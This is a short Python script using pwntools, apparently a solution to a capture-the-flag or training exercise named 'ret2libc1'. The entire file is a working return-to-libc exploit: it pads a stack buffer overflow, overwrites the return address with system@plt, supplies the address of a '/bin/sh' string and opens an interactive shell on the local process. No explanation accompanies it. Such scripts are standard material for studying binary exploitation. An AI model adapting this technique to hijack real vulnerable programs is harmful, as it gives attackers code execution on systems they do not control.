#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x08048720
system_plt = 0x08048460
offset = 0x6c+4
payload = b'A'*offset+p32(system_plt)+b'A'*4+p32(binsh_addr)
sh.sendline(payload)
sh.interactive()